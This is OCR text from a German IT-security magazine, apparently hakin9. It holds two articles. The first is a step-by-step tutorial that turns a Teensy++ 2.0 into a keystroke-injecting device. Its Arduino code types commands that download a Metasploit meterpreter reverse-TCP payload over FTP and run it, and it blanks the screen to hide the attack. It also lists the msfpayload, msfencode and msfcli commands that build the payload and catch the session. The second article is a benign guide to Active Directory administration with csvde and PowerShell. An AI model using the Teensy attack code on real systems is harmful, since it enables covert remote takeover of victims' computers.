se Analyst bei der 1&1 Internet AG Gepriifter Fachinformati-
ker fiir Systemintegration (IHK), tditig bei der 1&1 Internet AG
im internationalen Abuse Department fiir die Marken 1&1,
GMX und Web.de. Dort gesamtverantwortlich fiir Blackli-
stings und Bekdmpfung von Unternehmensphishing. AuBler-
dem betreibt er forensische Analyse von Sicherheitsliicken, ist
Dozent fiir Schulungen des 1st-Level, 2nd-Level und BackOf-
fice-Supports, Hauptansprechpartner des Abuse Departments
fiir den internationalen Support und erstellt, analysiert und
reported Statistiken. Ehrenamtlich schult er noch Schiiler-/
Lehrergruppen im sicheren Umgang mit dem PC/Internet/So-
zialen Netzwerken und ist als ehrenamtlicher Abuse & Securi-
ty Consultant fiir den Verein “Gemeinsam-gegen -- Stalking
e.V.” titig. Nebenbei betreibt er noch einen IT-Security Blog
auf http://www.hersec.de
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Hacking mit dem Teensy++ 2.0

Patrick Schmid

Der Teensy ist ein Mikrocontroller mit miniUSB-Anschluss,
der auf einem normalen Computer als gewohnliche
Tastatur oder Maus erkannt wird und dadurch auch jede
Tastenkombination oder jede Bewegung nachahmen kann,
welche auch mit normalen Eingabegeraten funktionieren.

IN DIESEM ARTIKEL ERFAHREN SIE...
« Danach weiss der Leser, wie er den Teensy++ mit Metasploit
flr einen Angriff verwendet

WAS SIE VORHER WISSEN SOLLTEN...

« Kenntnisse in UNIX, Metasploit und dem Programmieren er-
forderlich

Sekunden alleine mit der Maschine des Opfers
hat. Denn dank dem Teensy kann ein beliebiger
Payload, ein Skript oder ein Trojaner binnen Sekunden
geladen und ausgeflhrt wird. Somit eignet sich der klei-
ne Helfer ideal zum Beispiel zum Laden eines durch
Metasploit generierten Payloads, was ich auch in die-

S omit ist der Teensy ideal, wenn man nur ein paar

sem Artikel erklaren mochte.

In folgendem Beispiel werden wir zuerst einen Pay-
load mittels Metasploit generieren und diesen via FTP
veroffentlichen. Danach kommen ein paar Zeilen Code
auf den Teensy++ welcher dann beim Ausflhren den
Payload via FTP ladt und ausfuhrt, dass Metasploit eine
Session aufbauen kann (siehe Abbildung 1).

Opfer T
Teensy++ f — -~
TP Session offnen
FTP Server
/ET x.e’f/
Payload
Meterpreter Session starten
\‘ Metasploit
/Otxzug"ﬁ!/
Payload

Abbildung 1. Ablauf des Angriffs

2 HaRrINS
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Hacking mit dem Teensy++ 2.0

Zuerst missen wir uns flr einen geeigneten Payload
entscheiden. Eine Liste aller mdglichen erhalt man mit
folgendem Befehl:

msfpayload -1

Die Ausgabe kdnnte aussehen wie in Listing 1. Ich selbst
habe mich fiir den Reversepayload von Meterpreter ent-
schieden. Dabei wird vom System des Opfers her eine
Session geoffnet, was nicht nur weniger auffallt, sondern
auch selten von einer Firewall geblockt wird.
Listing 1. Liste der Payloads
windows/x64/meterpreter/bind tcp Listen
for a connection (Windows x64),
Inject the meterpreter server DLL

via the Reflective D11 Injection

payload (Windows x64) (staged)
windows/x64/meterpreter/reverse_
tcp Connect back to

the attacker (Windows x64), Inject
the meterpreter server DLL via the
Reflective D11 Injection payload

(Windows x64)

windows/x64/shell/bind tcp

(staged)

Listen
for a connection (Windows x64),
Spawn a piped command shell
(Windows x64) (staged)
windows/x64/shell/reverse tcp

Connect back to the attacker
(Windows x64), Spawn a piped
command shell (Windows x64)
(staged)
windows/x64/shell bind tcp Listen
for a connection and spawn a
command shell (Windows x64)
windows/x64/shell reverse tcp
Connect back to attacker and spawn

a command shell (Windows x64)

Listing 2. Arduino-Code

#include <phukdlib.h>
int ledPin = 6;

void setup() {
delay(3000);
}

void loop () {
digitalWrite(ledPin, HIGH);
CommandAtRunBarMSWIN (“cmd /k”);
delay(500);

hakin9.org/de

Also selektieren wir unseren Payload und schauen
uns die Optionen an:

msfpayload windows/meterpreter/reverse tcp s

Noch offen ist nun noch LHOST, welcher der IP-Ad-
resse des Angreifers entspricht. Ausserdem ist es
empfehlenswert den Standardwert von LPORT auf
einen bekannteren wie 80, 8080 oder 443 zu an-
dern, da diese bei einer Firewall fast immer erlaubt
sind:

Keyboard.print(“ftp -A 192.168.1.10");
PressAndRelease (KEY ENTER, 1);
Keyboard.print ("GET x.exe”);
PressAndRelease (KEY ENTER, 1);
Keyboard.print (“quit”);
PressAndRelease (KEY ENTER, 1);
Keyboard.print(“exit”);
PressAndRelease (KEY ENTER, 1);
CommandAtRunBarMSWIN (“Suserprofile%/x.exe”) ;
digitalWrite(ledPin, LOW);
delay(3600000) ;

}

Listing 3. Arduino-Code

#include <phukdlib.h>
int ledPin = 6;

void setup() {

delay(3000);
CommandAtRunBarMSWIN (“displayswitch.exe /external”);
delay(500);

void loop () {

digitalWrite(ledPin, HIGH);
CommandAtRunBarMSWIN (“cmd /k”) ;
delay(500);

Keyboard.print (“ftp -A 192.168.1.10");
PressAndRelease (KEY ENTER, 1);
Keyboard.print ("GET x.exe”);
PressAndRelease (KEY ENTER, 1);
Keyboard.print (“quit”);
PressAndRelease (KEY ENTER, 1);
Keyboard.print(“exit”);
PressAndRelease (KEY ENTER, 1);
CommandAtRunBarMSWIN (“Suserprofiles/x.exe”);
digitalWrite(ledPin, LOW);
delay(3600000) ;

}
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Active sessions

Information

Id Type

1 meterpreter x86/win32 §

nsf exploit(handler) > ||

Connection

Abbildung 2. xxxxxxxxx

msfpayload windows/meterpreter/reverse tcp

LHOST=192.168.1.10 LPORT=443 s

Ist alles zu unserer voller Zufriedenheit, so wird das
Ganze in eine ausfihrbare Datei geschrieben:

msfpayload windows/meterpreter/reverse tcp
LHOST=192.168.1.10 LPORT=443 X > /
root/ftp/x.exe

Wer mag, der kann den Payload auch noch verschlis-
seln:

msfpayload windows/meterpreter/reverse tcp
LHOST=192.168.1.10 LPORT=443 R |

msfencode -o /root/ftp/x.exe

Nun missen wir den Pfad /root/ftp/ via FTP flr den
Benutzer ,anonymous” verfligbar machen. Da dies zu
den Basics von Linux gehdrt, missen wir hier nicht
noch speziell darauf eingehen.

Nun kann der Teensy++ mit dem passenden Code
bestuckt werden.

Um den Payload zu starten, muss dieser naturlich
zuerst geladen werden. Hier zeigt sich der Vorteil von
FTP. Ein Client dazu ist standardmassig auf jedem Sys-
tem vorhanden, wodurch sich die Angriffszeit mit dem
Teensy um ein Vielfaches vermindert.

Also, um den Payload zu bekommen, missen wir
zuerst eine Konsole 6ffnen, die FTP-Session fir den
Benutzer ,anonymous® starten und die Datei lokal ab-
speichern. Nun nur noch die Session schliessen und
den Payload ausflhren. Umgesetzt in Code wirde das
dann etwa so aussehen wie in Listing 2.

Falls es sich bei dem System des Opfers um das ak-
tuellste Betriebssystem von Microsoft, Windows 7 han-
delt, so gibt es noch ein kleiner, aber feiner Zusatz zum
verschleiern des Angriffes wie Listing 3 zeigt.

« HaRrINS

Dabei wir einfach das Display auf einen externen
Monitor verschoben. Dies hat zur Folge, dass Win-
dows wahrend 10 Sekunden versucht einen externen
Monitor zu erkennen, wahrend dem dann der Haupt-
bildschirm komplett abgeschaltet wird. Somit fallen die
kurz aufblitzenden Konsolenfenster Uberhaupt nicht
mehr auf.

Nachdem das Programm zum Laden und starten des
Payloads geschrieben ist, wird alles wie gewohnt auf
den Teensy geflashed.

Damit Metasploit auch noch weiss, dass es gleich ei-
ne Session aufbauen muss, brauchen wir es natirlich
noch vor zu warnen. Dazu verwenden wir msfcli:

msfcli exploit/multi/handler PAYLOAD=windows/
meterpreter/reverse tcp

LHOST=0.0.0.0 LPORT=443 E

Sobald nun der Teensy auf einer Maschine einge-
steckt wird, so wird der Payload x.exe via FTP gela-
den und ausgefuhrt, wodurch Metasploit, oder besser
gesagt Meterpreter eine Session zurlick zum Angreifer
offnet (siehe Abbildung 2).

PATRICK SCHMID

Patrick Schmid ist System Engineer im Bereich Linux / Unix
und unterstiitzt nebenbei die Entwicklung und Verbreitung
von Linux und Opensource im privaten wie auch im professio-
nellen Umfeld.
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PRAXIS

Manuelle und automatisierte Administration einer Active
Directory Domane und Grundlagen der Gruppenrichtlinien

Hannes Schurig

Kaum ein groBeres Unternehmen kommt heutzutage noch ohne ein
komplexes Computernetzwerk aus. Die Uberwachung, Steuerung
und Verwaltung eines solchen Netzwerkes erfordert neben dem
umfangreichen Fachwissen des verantwortlichen IT-Administrators
auch ein elaboriertes Netzwerksystem. In diesem Artikel wird die
grundlegende Administration eines Windows Netzwerkes basierend
auf einer Active Directory Domane erklart und veranschaulicht.

IN DIESEM ARTIKEL ERFAHREN SIE..
+ Grundlegendes zu Active Directory Doménen,

+ wie Sie mit einem beliebigen Client die Domdne administrie-
ren kdnnen,

« welche Objekte mit welchen Einstellungen enthalten sind,

« welche administrativen Tools zur Vergligung stehen und

+ welche Maoglichkeiten Gruppenrichtlinien in einer Domane
bieten.

WAS SIE VORHER WISSEN SOLLTEN...
+ Eine bestehende Active Directory Domane ist nitzlich, weil
praxisnahe Tipps jederzeit nachvollzogen werden kénnen.

Das Active Directory

Grolte Computernetzwerke gehéren zum Alltag heutiger
IT-Administratoren. Diese Netzwerke zu administrieren
ist in erster Linie eine Frage der richtigen Technik.

Das Active Directory(oft auch die Kurzform fiir Active
Directory Domain Services— AD DS) ist ein von Microsoft
entwickeltes, aus mehreren Diensten bestehendes, zen-
trales Verwaltungssystem fur Windows-Netzwerke. Bei
diesem Verwaltungssystem handelt es sich genau ge-
nommen um einen hierarchischen Verzeichnisdienst, der
Benutzer, Gerate, Freigaben, Einstellungen und vieles
mehr gespeichert und administriert werden kdnnen.

In Windows Server 2000 kam erstmals das neue Ac-
tive Directory zum Einsatz und wurde jeweils bei Win-
dows Server 2003 und Windows Server 2008 weiterent-
wickelt. Es ist somit ein Nachfolger der in Windows NT
4.0 vorhandenen Domaéanenstruktur, die in ihrer Funkti-
on und Struktur aber sehr eingeschrankt war.

Das Herzstick einer jeden Domane sind Doménen-
controller (DC). Diese zentralen Server tUbernehmen
Authentifizierungs- und Autorisierungsprozesse fur je-
des Objekt und jede Aktion. Sie gewahrleisten die In-
tegritat jeder Domane und sollten beziiglich der Verflg-
barkeit und Ausfallsicherheit entsprechend netz- und
hardwareseitig ausgestattet werden. Planung, Struk-
tur und Installation eines Domanencontrollers und ei-

« HAaRrINS

ner Domane sind jedoch nicht Gegenstand des Artikels
und werden daher nicht weiter vertieft. Microsoft bietet
zu diesen Themen ein 6-teiliges Handbuch als kosten-
losen PDF-Download .

Administrationstools einrichten
Als zentraler Verzeichnisdienst besteht ein Vorteil von
Active Directory darin, von jedem beliebigen Computer

=R
=l

Rernoteserver-Verwaltungstools
Featureverwaltungstools

| BitLocker-Kennworbwiederherstellungs-Viewer

| Failoverclustertools

| SMTP-Servertools

| Tools fir den Speicher-Explorer

| Tools fir die Gruppenrichtlinienverwaltung

| Tools far Metzwerklastenausgleich

| Teols fir Speicher-Manager fir SANs

O0OoEOOOM@ES

| Tools fir Windows-5Systemressourcen-Manager
= , Rollenverwaltungstools
BYEIN -0 05-/20 105 Tools
J Active Directory-Modul far Windows PowerShell
=] . AD DS-Tools
, Active Directory-Verwaltungscenter
, AD D5-5nap-Ins und -Befehlszeilentools
. Server fir NIS-Tools
, AD LD5-5nap-ins und -Befehlszeilentools

Abbildung 1. Aktivierung der installierten Administrationstools
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Anforderungen an lhren PC:

Die Nutzung von Active Directory Services und somit auch
die Administration ist nur mit Windows Betriebssystemen
der Edition Professional oder hoherwertig moglich.

aus einer Domane eine vollstandige Administration der
Domanendienste durchfihren zu kdnnen.

Um eine komplette Verwaltung aller Aufgaben zu er-
moglichen, muss auf dem gewlnschten Administra-
tionsclient ein bestimmtes Toolkit installiert werden.
Welches Toolkit installiert werden muss, hangt von
der Kombinationen aus Serverbetriebssystem (Server
2000, 2003, 2008) und Client (Windows XP, Vista, 7,
jeweils Professional oder héherwertig) ab und kann in
den von Microsoft zur Verfigung gestellten tabellari-
schen Ubersichten @ entnommen werden.

Beispielsweise muss bei einem Windows Server 2008 als
Serverbetriebssystem und Windows 7 als Clientbetriebs-

gk Datsi  Altion  Ansicht
= 2E o= H=E

| Konsolenstamm
4 E Active Directory-Schema [
> | Klassen

Favorten Fenster 7

| Builtin
Computers

2 | Domain Controllers
ForeignSecurtyPrincipals
Users
usrAdm
usrAleph
usrFsAdm

| usrHU
usrHUEinr
usrHUWlan

¥

>

El

>

[#

¥

[#

¥

[

¥

[

G

4 _i'\_ Gesamtstruktur: kakssmi s
4 [$L Domanen

a f_:| L R
Default Domain Policy
Domain Cortrollers
usrAdm
usrAleph
|| usrFsAdm
usrHU
| usrHUEinr
| usrHUWlan
¢ Gruppenrichtlinisnobjekte
& WMI-Filter

[ m Starter-Gruppenrnchtlinienobjekte
(@ Standorte
585 Gruppenrichtiinienmodellisrung
;i‘ Gruppenrichtlinienergebnizse

\=[ Richtlinienergebnissatz

“'.E‘

[
[»
[
>
[
>
>
>
>

Abbildung 2. Benutzerdefinierte Management Konsole mit
mehreren Snap-Ins
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system das entsprechende Remoteserver-Administration
Toolkit (RSAT) mit Service Pack 1¥ installiert werden.

Das Toolkit ist technisch gesehen ein Windows Up-
date und kann auch wie ein solches wieder deinstal-
liert werden. Alle eingerichteten Funktionen werden da-
durch ebenfalls vollstéandig deinstalliert.

Nach der Installation und einem Neustart mussen die be-
notigten Verwaltungsprogramme zunachst aktiviert werden.

Dazu genugt es im Menu Programme und Funktionen->
Windows-Funktionen aktivieren oder deaktivierten(oder
Ausflhren -> ,optionalfeatures”) die gewulnschte Punkte
auszuwahlen und ggf. noch einmal neuzustarten (siehe
Abbildung 1).

Hinzugefligte Funktionen erstellen einen Eintrag im
»verwaltung“-Menl von Windows und sind ebenso als
Snap-In der Management Console(MMC) verflgbar.
Die Konsole lasst sich Uber Ausfuhren -> ,mmc* starten.

Es ist empfehlenswert, die MMC mit allen gewlnsch-
ten Snap-Ins zu versehen, diese zu konfigurieren und die
fertige Konsole dann per Datei-> Speichern unterschnell
und einfach per Doppelklick zugéngig zu machen.

Als Beispiel fir eine angepasste MMC (siehe Abbil-
dung 2) habe ich die Snap-Ins ,Active Directory Sche-
ma"“, ,Active Directory-Benutzer und —Computer*, ,Grup-
penrichtlinienverwaltung“ und ,Richtlinienergebnissatz*

Datei  Aldion  Ansicht 7
e f@loczHRTaETaR

4 33 userhuberin de usrHUEIQBGoups 265 Objekte
-

b [ Builin
| Computers || Name i
= Domain Controllers B2, grlsrHuelabDruckerSek 129
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| LostAndFound B2, grlsrHuelgbDrucker Sek 244
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Abbildung 3. Hierarchische Domdnenstruktur und
Namenskonvention

grUsrHuelgbEdvCompSoftRW
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Abbildung 4. Namenskonvention z.B. fiir Rechtegruppen
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Eigenschaften von iqb140 e Eigenschaften von Zxsie beder
Standort | Verwaltet von | Objekt | Sicherhst | UNIXAttrbute | Attrbut-Edtor | Versflertlichte Zerifikate | Mitgied ven | Ker | Obiekt
Aligemein | Betr | Migiedvon | Delegieung | Kennwortrepikation Sicherheit ] Uimgebung | Sitzungen
. Remoteuberwachung R lienste-Profil
W Fersoniicher vitueller Desidop | COM: | UNIX-Aftribute | Astribut-Editor Objekt Schemet |  UNIx-Atrowe | AtibutEdior |
: Algemein | Adresss | Korto | Profl | Rufnummem | Organisstion Algemein | Migleder | Migiedvon |  Vemwaltet von
Computemame (Pra-Windows 2000): 12B140 ; S e g& grisrHuelgblinstVera RW
€y
DNS-Name
G Pra-Windows 2000). | TNETEE T aeN=eiany]
Doménencontrollertyp:  Arbsitsstation oder Server Lonas (== ruppenniame (Fra-Windows 2000): | MV FNERT
Standort: Nachname: Beschreibung: Institutsverwattung
Anzci 3
Beschreibung R411 PAN HF LJ 9050 PRI Etal
Beschreibung: Gruppenbersich Gruppentyp
Biiro @ Lokal {n Domane) @) Sicherhett
Global () Verteilung
@ Universal
Rufnummer
EMal Anmerkung
Websete

Abbildung 5. GUIs zur Administration von Objekten
hinzugefugt und konfiguriert. Nach Speichern untersteht
mir diese fertige Oberflache nun jederzeit zur Verfligung.
Aber Achtung: Anderungen an einer Active Directory
Domaéane werden unwiderruflich umgesetzt, da es keine
,Undo" Funktion gibt. Vor der Arbeit an einem Produk-
tivsystem sind entsprechende Tests in vorgesehenen
Bereichen daher unbedingt notwendig.

Domadnenadministration -
Namenskonvention

Ein Blick mit dem Tool ,Active Directory-Benutzer und
—Computer” auf gréRere Domanenstrukturen sollte ide-
alerweise eine gut organisierte Hierarchie mit eindeuti-
gen Namenskonventionen zeigen.

Die Namenskonventionen sollten die hierarchischen
Ebenen verdeutlichen, diese sind somit allein aufgrund
des Namens in die Struktur exakt einzuordnen.

Ein Beispiel fur eine gute Realisierung dieser Stan-
dards zeigt folgender Screenshot (siehe Abbildung 3).

Bei der Bennenung von Organisationseinheiten (Or-
ganizational Unit, OU) - das sind ,Container” fir weitere
Objekte - und Rechtegruppen — genauer gesagt Sicher-
heitsgruppen, mit denen sich NTFS-Berechtigungen
setzen lassen und die somit beispielsweise zur riffs-
rechtedifferenzierung auf Netzlaufwerken dienen - soll-
te der Name verschiedene relevante Informationen be-
inhalten.

Ich méchte ein solches Namensschema an einem
Beispiel zeigen und beschreiben (siehe Abbildung 4.).

1 Kurzel fur Rechtegruppen
Kirzel der Doméane

3 Differenzierung der Domane, z.B. OU-Pfad, hier:
Kurzel des Instituts

4 Kdurzel des Netzlaufwerks

Kirzel der Ordner und Unterordner

6 Rechtetyp (u.A. RO (Read Only), RW (Read Write),
FC (Full Control))

(€]

s HaRrINS

Die verstandlichen Namen helfen bei der alltaglichen Ad-
ministration die gewlinschten Objekte schneller zu finden.

Domadnenadministration
- Objekte und Struktur
In der Ubersicht von ,Active Directory-Benutzer und —
Computer” lassen sich die verfigbaren Objekte bereits
grundlegend administrieren. Mogliche Objekte sind: Or-
ganisationseinheiten, Gruppen, Benutzer, Computer,
Kontakte, Drucker und Freigegebene Ordner.

Diese lassen sich dank der grafischen Oberflache (sie-
he Abbildung 5) leicht erstellen, bearbeiten, verschieben
und I8schen. Assistenten helfen sowohl bei komplexeren

Verdffentlichte Zettiikate | Migiied von | Kenmwortreplikation | Obiekt
Sicherheit I Umgebung I Sitzungen
Remotelberwachung Remotedesktopdienste-Profil

Allgemein Adresse | Konto Profil I Rufnummem | Organisation

Persénlicher vitueller Desitop | COMs= | UNIXAftribute | Aftribut-Editor

Attribute:

Agtribut Wert i
labeled URI <Micht festgelegt:
last KnownParent <Nicht festgelegt=
lastLogoff (nie) ¥
lastLogon 01.07.2011 10:33:33 Mitteleuropaische Somi 4
lastLogon Timestamp 25.06.2011 17:13:37 Mitteleuropaische Somi
legacyBExchangeDN <Nicht festgelegt=
Im PwdHistory <Nicht festgelegt>
localelD <Nicht festgelegt>
lockout Time <Nicht festgelegt>
loginShel <Nicht festgelegt>
logonCount 683
logonHours <Nicht festgelegt>
logonWorkstation <Nicht festgelegt>
mail <Micht festaeleat: -
i | I | 3
Bearbeiten Filter

[ DK ] [ Abbrechen ] Ubemehmen

Abbildung 6. Erweiterter Attribut-Editor
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Vorgangen wie die Erstellung von Objekten als auch bei
anderen Konntextmenu-Aktionen (Export, Import usw.).

Das Tool ,Active Directory-Benutzer und —Computer”
bietet auch ,erweiterte Features®. Diese werden Uber
Ansicht-> erweiterte Featuresaktiviert.

Erwahnenswert ist beispielsweise der erweiterte Attri-
but-Editor (siehe Abb. 6), der nach der Aktivierung als
zusatzlicher Tab bei den Objekten verfigbar ist. Dieser
enthalt alle fur das Objekt verfugbaren Eigenschaften
des Active Directory Schemas.

Aber Achtung: Anderungen an dieser Stelle kénnen
unter Umstanden erhebliche Schaden verursachen und
sollten nur mit Bedacht und Fachkenntnis vorgenom-
men werden.

Grafische Darstellung der Doméanenstruktur:

Die Struktur einer Domane nimmt mit zunehmender
Grole auch an Unubersichtlichkeit zu. Die MMC Snap-
In Ubersichten bieten eine gute Grundlage. Fir einen
alternativen Uberblick, Grafiken, Statistiken oder Re-

ports empfehle ich jedoch externe Tools. Zum Beispiel
das kostenlosen Tool ,Jose AD-Dokumentation”®! von
Nils Kaczenski. Es fertigt stark anpassbare und uber-
sichtliche HTML Reports von Domanenstrukturen an.

Eine weitere Moglichkeit der grafischen Darstellung bietet
der Microsoft Active Directory Topology Diagrammar(MS
ADTD). Dieser erstellt eine Visio-fahige 2D-Shape-Grafik
(siehe Abbildung 7), in der die Struktur der Server, Doma-
nen, Sites und OUs grafisch dargestellt wird™.

Domanenadministration — automatisierte
Administration

Fir einzelne Aktionen ist die grafische Oberflache meis-
tens besser geeignet; bei Massenaktionen und —abfra-
gen ist eine automatisierte L6sung jedoch unverzichtbar.

Abfragen mit CSVDE:

Das Konsolenprogramm csvde.exe von Microsoft wur-
de entwickelt, um Daten aus einem Active Directory zu
im- oder exportieren.

Abbildung 7. Grafische Darstellung der Domdnen-Server-Struktur mit MS ADTD

hakin9.org/de
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Wie der Name schon andeutet, arbeitet das Pro-
gramm mit CSV-Dateien, (Comma-Separated Values)
die wiederum von Excel oder Calc betrachtet und verar-
beitet werden kdnnen.

Das Tool ist in den Betriebssystemen Windows Ser-
ver 2003 und 2008 integriert und liegt in %windir%\sys-
tem32. Alternativ ist es im installierbaren Paket ,Active
Directory Application Mode"® (ADAM, z.B. fiir Windows
XP) enthalten.

Die ausfuhrliche Beschreibung der Parameter und
Nutzungshinweise stehen im Microsoft TechNet® zur
Verfligung; ich mdchte an dieser Stelle nur einen Be-
fehl exemplarisch zeigen und erklaren (siehe Listing 1.).

Dieser Befehl liest alle Computerobjekte der OU us-
rHUEinrIQBaus und schreibt sie mitsamt einiger Eigen-
schaften in eine CSV Datei (siehe Abbildung 8). Hier ei-
ne etwas genauere Aufschlisselung des Befehls:

» m Uberspringt einige spezielle Attribute

* n Uberspringt Binarwerte

» u erzwingt das Unicodeformat fiir korrekte Umlaute
» fbestimmt die Ausgabedatei

* s bestimmt einen gezielten Domanencontroller

» d bestimmt die Datenquelle

* 1 bestimmt den LDAP Suchfilter und

AChtUng: objectClass=user & objectCategory=computer
Listing 1. CSVDE Abfrage der Computerobjekte einer OU

csvde -m -n -u

on,DC=com™ -r , (| (&(objectClass=user)

exportiert nur die Computer, objectciass-user &
objectCategory=person NUI die Benutzer.

* | enthalt alle gewinschten LDAP Attribute. Diese
sind im Internet nachlesbarl'o",

Abfragen mit PowerShell:

Die PowerShell ist eine in Windows Server 2008 erst-
mals eingeflhrte Befehlszeilenumgebung, die mit der
klassischen Kommandozeile aus Windows (CMD) ver-
gleichbar ist. PowerShell bietet jedoch eine stark Uber-
arbeitete und strukturiertere Scriptsprache, die sich
durch Plugins mit vielen weiteren Funktionen nachris-
ten Iasst.

In Windows Server und Windows 7 muss die Pow-
erShell zuerst aktiviert werden. Auf dem Server erfolgt
das Uber den Server-Manager -> Features oder Uber
den CMD Befehl servermanagercmd -install powershell. In
Windows 7 muss das Feature in den Windows Features
(Ausfuhren -> ,optionalfeatures®) aktiviert werden. Fur
Windows XP und Windows Vista gibt es das Windows
Management-Framework (WMF), das u.A. auch Pow-
erShell in der neueren Version 2.0 beinhaltet!'?. Alterna-
tiv zu diesem Download liefert das WMF Core Package
ohne BITS!"® auch alle nétigen Komponenten mit.

Die Installationen enthalten sogar eine Entwicklungs-
umgebung namens PowerShell ISE (PowerShell In-

-f ,computersummary.csv" -s dcserver -d ,0U=usrHUEinrIQB,OU=usrHUEinr,DC=domain, DC=corporati

(objectCategory=computer)))” -1 name, description,

operatingsystem, operatingsystemversion, operatingsystemservicepack, modifyTimeStamp

Listing 2. PowerShell Abfrage der Computerobjekte mit Filter und Sortierung

function GetComputersFromLDAP () {

/0U=usrHUEIQBComputers, OU=usrHUEinrIQB, OU=usrHUEinr, DC=user, DC=hu-berlin, DC=de” ;

$pcs = €();

$dir = “LDAP:/

$ldapSearcher = new-object directoryservices.directorysearcher;
$ldapSearcher.filter = “ (objectclass=computer)”;

$computers = $ldapSearcher.findall();

foreach ($computer in $computers) {

if ($computer.properties[“operatingsystem”] -eq “Windows

$pc = V" | select-object Name;

$pc.Name = $computer.properties[“name”];

$pcs += $pc;

}

return ($pcs | sort-object Name);

}
foreach ($pc in $pcs) {
write-host $pc.Name;

}
GetComputersFromLDAP (") ;

» HAKING
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Manuelle und automatisierte Administration einer Active Directory Doméane und Grundlagen

tegrated Scripting Environment), die neben ublichen
Bearbeitungsfunktionen auch das Debuggen von Pow-
erShell Scripts beinhaltet.

Solche Scripts werden mit der Dateiendung .ps7an-
gelegt und kénnen Uber die PowerShell Befehlszeile,
mit Rechtsklick-> Mit PowerShell ausfiihrenoder Uber
das ISE ausgeflihrt werden.

Wenn die Ausflhrung fehlschlagt, kann das an der
gesetzen Ausfuhrungsrichtlinie (Execution Policy) des
Computers liegen, die in der Standardeinstellung so
eingestellt ist, dass keine Scripte ausgefuhrt werden
durfen.

Mit dem Befehl set-executionPolicy unrestricted Wird
die Ausfiihrung jeglicher PowerShell Scripte auf diesem
System gewahrt.

Aber Achtung: Die Ausfuhrungsrichtlinie sollte nicht leicht-
fertig gesetzt werden, da sie ein Sicherheitsrisiko darstellt.
Mehr Informationen zur Execution Policy im Internet!.

Nun zeige ich ein Script!"®, das die Computer einer
Domaéane ausliest und alle Computer — nach Namen
sortiert - anzeigt, die das Betriebssystem ,Windows 7
Enterprise N* installiert haben.

{4 Datei Bearbeiten Ansicht  Einfigen
HRRE=A" NENFENEN AN -

Format Bdres Daten

EBe =

Fenster

- AL |5 100

E ute =)
?  Adobe PDF
.@HUD'|FXQ|§

Gruppenrichtlinien - Uberblick

Mit den Gruppenrichtlinien hat Microsoft ein machtiges
Werkzeug entwickelt, um beliebig viele Computer eines
Netzwerks von einer zentralen Administrationsstelle
aus mit Einstellungen und Programmen zu versehen.

Gruppenrichtlinien kénnen sich auf einzelne Objekte,
Gruppen oder ganze Domanen auswirken und ermaogli-
chen damit unternehmensweite automatisierte Adminis-
tration auf Computer- oder Benutzerebene.

Viele Einstellungen werden jeweils in einem Gruppen-
richtlinienobjekt (Group Policy Object, GPO)zusammen-
gefasst. Dieses wird nun mit einem Container des Ac-
tive Directory verknlpft. Meistens sind das einzelne
OUs, es konnen aber auch ganze Sites oder Domanen
verknupft werden. Ein Gruppenrichtlinienobjekt kann
mit beliebig vielen Containern verknipft sein, ebenso
kann ein Container beliebig viele GPOs enthalten.

Gruppenrichtlinien kénnen recht einfach Uber das
grafische MMC Snap-In Gruppenrichtlinienverwaltung®
verwaltet werden (siehe Abbildung 9).

Die Oberflache dieses Programms ahnelt dem Auf-
bau der Domanenverwaltung. Statt Benutzer, Computer

== £

Al -

£ DN description,name, modifyTimeStamp, operatingSystem, operatingSystemVersion,operatingSystemSenicePack

M

N | 0 | P | Q [ R [ S [ T

44
M 4 » |\ computel /

Bereit

Microsoft Windows [Version 6.1.76881
[Copyright <(c) 288%? Microsoft Corporation.

ription. opexatln
rvicepack mo(llfyTlmeStamp

Abbildung 8. Datenabfrage der Domdne mit csvde
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igh073,20110704125603.0Z, Windows 7 Enterprise N.6.1 (7600),
qb074,20110704123404.0Z.Windows 7 Enterprise N.6.1 (7600),
#%,iqb127,20110627080606.0Z, Windows XP Professional 5.1 (2600).Service Pack 3
qb030 .20110627053932.0Z Windows 7 Enterprise N.6.1 (7600),
«&r,igb031,20110630101709.02 Windows 7 Professional 6.1 (7600),
%2,igb075.20110704080117.0Z. Windows 7 Enterprise M.6.1 (7600).
qb032,20110701075029.0Z, Windows 7 Professional.6.1 (7600),
igb076,20110627072234 02 Windows 7 Enterprise N.6.1 (7600),
+33,20110630124049.0Z, Windows 7 Enterprise N.6.1 (7600),
sw,igb077,20110621082735.0Z Windows 7 Enterprise MN,6.1 (7600),
Jen.igh070,20110704084252.0Z. Windows 7 Enterprise N,6.1 (7600),
,igb116,20110627065310.02, Windows 7 Enterprise N.6.1 (7600).

y VAID,iqb217,20110627061320.0Z Windows 7 Enterprise M.6.1 (7600),
qb110,20110627074225.0Z. Windows 7 Enterprise N.6.1 {7600),
b168,20110701064655.0Z Windows 7 Enterprise N.6.1 (7600),

qb16? 20110701061801.0Z, Windows 7 Enterprise N.6.1 (7600},
igb112,20110626114752.0Z Windows 7 Enterprise N.6.1 (7600},
b143,20110627103304.0Z. Windows 7 Enterprise N.6.1 (7600),

Gisk 2,igb144.20110701130910.0Z Windows 7 Enterprise M.6.1 (7600),
.iab109.201106200425817.0Z Windows 7 Enterprise N.6.1 (7600). &

Alle Rechte vorhehalten.

»x:\Software\System\Scripte\"_*
+ Name:
@& - <DI
Ellcomputers csy 5l
IgcreaelQBCorrpuerﬂmxli wsf
.............. |:Create I@BComputerAccount_template bat
[C|CreatelQBUser bat
[2]createlQBUser wsf 24
Teswde exe 35
get MultipleUsersForOU wsf 1€
get UserDomain wsf L
[T JoetUserinfo bat
get Userinfo wsf L
HistoryCreateComputerAccounts bt
HistoryCreatelUser xt p!

m

|«

HaKING



PRAXIS

Im Internet

4]  http://bit.ly/ilrfWd - RSAT mit SP1 fir Windows 7
5] http://bit.ly/oJLQic - José AD-Dokumentation 3.1
6] http://bit.ly/e990Sg - Hilfe, FAQ, Tipps, Code

7]  http://bit.ly/nLWFGi - MS ADTD Artikel

8] http://bit.ly/nZOmb2 - Active Directory Application Mode mit csvde

9] http://bit.ly/ogyFgs - Dokumentation zu csvde.exe

10] http://www.selfadsi.de/user-attributes-w2k3.htm - LDAP Attribute grafisch

12] http://support.microsoft.com/kb/968929 - Windows Management-Framework
13] http://support.microsoft.com/kb/968930 - Windows Management-Framework Core

14] http://bit.ly/qox3zw - Informationen zur ExecutionPolicy
15] http://bit.ly/rmMX9D - Codebeispiel PowerShell Abfrage

16] http://bit.ly/aKf8fn - Troubleshooting von Gruppenrichtlinien
171 http://bit.ly/pY4hpb - Zahlen zu Gruppenrichtlinieneinstellungen

[
[
[
[
[
[
[11] http://bit.ly/pPw7Sa - LDAP Attribute als Text
[
[
[
[
[
[

